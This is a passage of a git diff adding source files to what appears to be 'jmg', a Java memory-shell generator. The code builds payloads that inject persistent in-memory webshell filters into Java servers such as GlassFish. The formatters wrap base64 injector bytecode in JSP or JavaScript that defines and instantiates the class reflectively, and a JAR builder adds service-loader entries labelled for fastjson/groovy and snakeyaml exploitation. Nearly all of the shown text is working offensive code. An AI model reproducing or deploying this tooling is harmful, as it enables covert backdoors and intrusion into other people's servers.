+ jarOutputStream.putNextEntry(new JarEntry(jarEntryFileName));
+ jarOutputStream.write(clazzbyte);
+ jarOutputStream.closeEntry();
+
+ // fastjson + groovy 的利用
+ if (config.isImplementsASTTransformationType()) {
+ String entryName = "META-INF/services/org.codehaus.groovy.transform.ASTTransformation";
+ JarEntry entry = new JarEntry(entryName);
+ jarOutputStream.putNextEntry(entry);
+ jarOutputStream.write(className.getBytes(StandardCharsets.UTF_8));
+ jarOutputStream.closeEntry();
+ }
+
+ // snakeyaml + loadJar 的利用
+ if (config.isImplementsScriptEngineFactory()) {
+ String entryName = "META-INF/services/javax.script.ScriptEngineFactory";
+ JarEntry entry = new JarEntry(entryName);
+ jarOutputStream.putNextEntry(entry);
+ jarOutputStream.write(className.getBytes(StandardCharsets.UTF_8));
+ jarOutputStream.closeEntry();
+ }
+ }
+
+ return out.toByteArray();
+ }
+}
\ No newline at end of file
diff --git a/jmg-core/src/main/java/jmg/core/format/JSPFormater.java b/jmg-core/src/main/java/jmg/core/format/JSPFormater.java
new file mode 100755
index 0000000..f50256b
--- /dev/null
+++ b/jmg-core/src/main/java/jmg/core/format/JSPFormater.java
@@ -0,0 +1,35 @@
+package jmg.core.format;
+
+import jmg.core.config.AbstractConfig;
+import me.gv7.woodpecker.tools.codec.BASE64Encoder;
+
+import java.io.IOException;
+
+public class JSPFormater implements IFormater {
+
+ public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
+ String strJSP = "<%\n" +
+ " ClassLoader classLoader = Thread.currentThread().getContextClassLoader();\n" +
+ " try{\n" +
+ " classLoader.loadClass(\""+ config.getInjectorClassName()+"\").newInstance();\n" +
+ " }catch (Exception e){\n" +
+ " java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod(\"defineClass\", byte[].class, int.class, int.class);\n" +
+ " defineClass.setAccessible(true);\n" +
+ " String bytecodeBase64 = \""+new BASE64Encoder().encode(clazzbyte).replace("\n", "").replace("\r", "") +"\";\n" +
+ " byte[] bytecode = null;\n" +
+ " try {\n" +
+ " Class base64Clz = classLoader.loadClass(\"java.util.Base64\");\n" +
+ " Class decoderClz = classLoader.loadClass(\"java.util.Base64$Decoder\");\n" +
+ " Object decoder = base64Clz.getMethod(\"getDecoder\").invoke(base64Clz);\n" +
+ " bytecode = (byte[]) decoderClz.getMethod(\"decode\", String.class).invoke(decoder, bytecodeBase64);\n" +
+ " } catch (ClassNotFoundException ee) {\n" +
+ " Class datatypeConverterClz = classLoader.loadClass(\"javax.xml.bind.DatatypeConverter\");\n" +
+ " bytecode = (byte[]) datatypeConverterClz.getMethod(\"parseBase64Binary\", String.class).invoke(datatypeConverterClz, bytecodeBase64);\n" +
+ " }\n" +
+ " Class clazz = (Class)defineClass.invoke(classLoader,bytecode,0,bytecode.length);\n" +
+ " clazz.newInstance();\n" +
+ " }\n" +
+ "%>";
+ return strJSP.getBytes();
+ }
+}
diff --git a/jmg-core/src/main/java/jmg/core/format/JavaScriptFormater.java b/jmg-core/src/main/java/jmg/core/format/JavaScriptFormater.java
new file mode 100755
index 0000000..43a910d
--- /dev/null
+++ b/jmg-core/src/main/java/jmg/core/format/JavaScriptFormater.java
@@ -0,0 +1,36 @@
+package jmg.core.format;
+
+import jmg.core.config.AbstractConfig;
+import me.gv7.woodpecker.tools.codec.BASE64Encoder;
+
+import java.io.IOException;
+
+public class JavaScriptFormater implements IFormater {
+ public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
+ String strJS = "var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" +
+ "try{\n" +
+ " classLoader.loadClass(\""+ config.getInjectorClassName() +"\").newInstance();\n" +
+ "}catch (e){\n" +
+ " var clsString = classLoader.loadClass('java.lang.String');\n" +
+ " var bytecodeBase64 = \""+ new BASE64Encoder().encode(clazzbyte).replace("\n", "").replace("\r", "") + "\";\n" +
+ " var bytecode;\n" +
+ " try{\n" +
+ " var clsBase64 = classLoader.loadClass(\"java.util.Base64\");\n" +
+ " var clsDecoder = classLoader.loadClass(\"java.util.Base64$Decoder\");\n" +
+ " var decoder = clsBase64.getMethod(\"getDecoder\").invoke(base64Clz);\n" +
+ " bytecode = clsDecoder.getMethod(\"decode\", clsString).invoke(decoder, bytecodeBase64);\n" +
+ " } catch (ee) {\n" +
+ " var datatypeConverterClz = classLoader.loadClass(\"javax.xml.bind.DatatypeConverter\");\n" +
+ " bytecode = datatypeConverterClz.getMethod(\"parseBase64Binary\", clsString).invoke(datatypeConverterClz, bytecodeBase64);\n" +
+ " }\n" +
+ " var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader');\n" +
+ " var clsByteArray = classLoader.loadClass('[B');\n" +
+ " var clsInt = java.lang.Integer.TYPE;\n" +
+ " var defineClass = clsClassLoader.getDeclaredMethod(\"defineClass\", clsByteArray, clsInt, clsInt);\n" +
+ " defineClass.setAccessible(true);\n" +
+ " var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytecode,0,bytecode.length);\n" +
+ " clazz.newInstance();\n" +
+ "}";
+ return strJS.getBytes();
+ }
+}
diff --git a/jmg-core/src/main/java/jmg/core/generator/IShellGenerator.java b/jmg-core/src/main/java/jmg/core/generator/IShellGenerator.java
new file mode 100644
index 0000000..f3124bd
--- /dev/null
+++ b/jmg-core/src/main/java/jmg/core/generator/IShellGenerator.java
@@ -0,0 +1,14 @@
+package jmg.core.generator;
+
+import javassist.ClassPool;
+import jmg.core.config.AbstractConfig;
+
+public interface IShellGenerator {
+ ClassPool pool = ClassPool.getDefault();
+
+ void initShell(AbstractConfig config);
+
+ byte[] makeShell(AbstractConfig config) throws Exception;
+
+ byte[] modifyShell(String className, AbstractConfig config);
+}
diff --git a/jmg-core/src/main/java/jmg/core/generator/InjectorGenerator.java b/jmg-core/src/main/java/jmg/core/generator/InjectorGenerator.java
new file mode 100644
index 0000000..b316e4b
--- /dev/null
+++ b/jmg-core/src/main/java/jmg/core/generator/InjectorGenerator.java
@@ -0,0 +1,95 @@
+package jmg.core.generator;
+
+import javassist.ClassClassPath;
+import javassist.ClassPool;
+import javassist.CtClass;
+import javassist.CtMethod;
+import jmg.core.config.AbstractConfig;
+import jmg.core.config.Constants;
+import jmg.core.util.CommonUtil;
+import jmg.core.util.CtClassUtil;
+import jmg.core.util.InjectorUtil;
+import jmg.core.util.JavassistUtil;
+
+
+/**
+ * 注入器生成
+ */
+public class InjectorGenerator {
+ public byte[] makeInjector(AbstractConfig config) throws Exception {
+ String injectorName = InjectorUtil.getInjectorName(config.getServerType(), config.getShellType());
+ String injectorClassName = InjectorUtil.getInjectorClassName(injectorName);
+ byte[] bytes = UtilPlus.generate(injectorClassName, config);
+ config.setInjectorBytes(bytes);
+ config.setInjectorBytesLength(bytes.length);
+ return bytes;
+ }
+
+
+ public static class UtilPlus {
+ @SuppressWarnings("unchecked")
+ private final static ClassPool pool = ClassPool.getDefault();
+
+ public static byte[] generate(String injectorTplClassName, AbstractConfig config) throws Exception {
+ pool.insertClassPath(new ClassClassPath(InjectorGenerator.class));
+ CtClass ctClass = pool.getCtClass(injectorTplClassName);
+ ctClass.getClassFile().setVersionToJava5();
+ String base64ShellString = CommonUtil.encodeBase64(CommonUtil.gzipCompress(config.getShellBytes())).replace(System.lineSeparator(), "");
+
+ String urlPattern = config.getUrlPattern();
+ String shellClassName = config.getShellClassName();
+
+ if (base64ShellString != null) {
+ CtMethod getBase64String = ctClass.getDeclaredMethod("getBase64String");
+ String[] parts = splitChunks(base64ShellString.replace(System.lineSeparator(), ""), 40000);
+ StringBuilder result = new StringBuilder();
+ for (int i = 0; i < parts.length; i++) {
+ if (i > 0)
+ result.append("+");
+ result.append("new String(\"" + parts[i] + "\")");
+ }
+
+ getBase64String.setBody(String.format("{return %s;}", result));
+ }
+
+ if (config.getShellType().equalsIgnoreCase(Constants.SHELL_FILTER) || config.getShellType().equalsIgnoreCase(Constants.SHELL_WF_HANDLERMETHOD)) {
+ CtMethod getUrlPattern = ctClass.getDeclaredMethod("getUrlPattern");
+ getUrlPattern.setBody(String.format("{return \"%s\";}", urlPattern));
+ }
+
+ if (shellClassName != null) {
+ CtMethod getUrlPattern = ctClass.getDeclaredMethod("getClassName");
+ getUrlPattern.setBody(String.format("{return \"%s\";}", shellClassName));
+ }
+
+ JavassistUtil.setNameIfNotNull(ctClass, config.getInjectorClassName());
+ JavassistUtil.removeSourceFileAttribute(ctClass);
+ byte[] bytes = new CtClassUtil(config, pool, ctClass).modifyForExploitation();
+ ctClass.detach();
+ return bytes;
+ }
+
+ private static String[] splitChunks(String source, int CHUNK_SIZE) {
+ String[] ret = new String[(int) Math.ceil(source.length() / (double) CHUNK_SIZE)];
+ char[] payload = source.toCharArray();
+ int start = 0;
+ for (int i = 0; i < ret.length; i++) {
+ if (start + CHUNK_SIZE > payload.length) {
+ char[] b = new char[payload.length - start];
+ System.arraycopy(payload, start, b, 0, payload.length - start);
+ ret[i] = new String(b);
+ } else {
+ char[] b = new char[CHUNK_SIZE];
+ System.arraycopy(payload, start, b, 0, CHUNK_SIZE);
+ ret[i] = new String(b);
+ }
+ start += CHUNK_SIZE;
+ }
+ return ret;
+ }
+ }
+
+
+}
+
+
diff --git a/jmg-core/src/main/java/jmg/core/jMGCodeApi.java b/jmg-core/src/main/java/jmg/core/jMGCodeApi.java
new file mode 100644
index 0000000..1478674
--- /dev/null
+++ b/jmg-core/src/main/java/jmg/core/jMGCodeApi.java
@@ -0,0 +1,52 @@
+package jmg.core;
+
+
+import jmg.core.config.AbstractConfig;
+import jmg.core.config.Constants;
+import jmg.core.format.*;
+
+public class jMGCodeApi {
+ AbstractConfig config;
+
+ public jMGCodeApi(AbstractConfig config) {
+ this.config = config;
+ }
+
+ public byte[] generate() throws Throwable {
+ byte[] clazzBytes;
+ clazzBytes = config.getInjectorBytes();
+ if (clazzBytes == null) {
+ return null;
+ }
+
+ // 格式转换
+ byte[] bytes = null;
+ switch (config.getOutputFormat()) {
+ case Constants.FORMAT_BCEL:
+ bytes = new BCELFormater().transform(clazzBytes, config);
+ break;
+ case Constants.FORMAT_JSP:
+ bytes = new JSPFormater().transform(clazzBytes, config);
+ break;
+ case Constants.FORMAT_JAR:
+ bytes = new JARFormater().transform(clazzBytes, config);
+ break;
+ case Constants.FORMAT_JAR_AGENT:
+ bytes = new JARAgentFormater().transform(clazzBytes, config);
+ break;
+ case Constants.FORMAT_JS:
+ bytes = new JavaScriptFormater().transform(clazzBytes, config);
+ break;
+ case Constants.FORMAT_BASE64:
+ bytes = new BASE64Formater().transform(clazzBytes, config);
+ break;
+ case Constants.FORMAT_BIGINTEGER:
+ bytes = new BigIntegerFormater().transform(clazzBytes, config);
+ break;
+ default:
+ bytes = clazzBytes;
+ break;
+ }
+ return bytes;
+ }
+}
diff --git a/jmg-core/src/main/java/jmg/core/template/GlassFishFilterInjectorTpl.java b/jmg-core/src/main/java/jmg/core/template/GlassFishFilterInjectorTpl.java
new file mode 100644
index 0000000..857e644
--- /dev/null
+++ b/jmg-core/src/main/java/jmg/core/template/GlassFishFilterInjectorTpl.java
@@ -0,0 +1,208 @@
+package jmg.core.template;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.zip.GZIPInputStream;
+
+public class GlassFishFilterInjectorTpl {
+ public String getUrlPattern() {
+ return "/*";
+ }
+
+
+ public String getClassName() {
+ return "";
+ }
+
+ public String getBase64String() throws IOException {
+ return "";
+ }
+
+ static {
+ new GlassFishFilterInjectorTpl();
+ }
+
+ public GlassFishFilterInjectorTpl() {
+ try {
+ List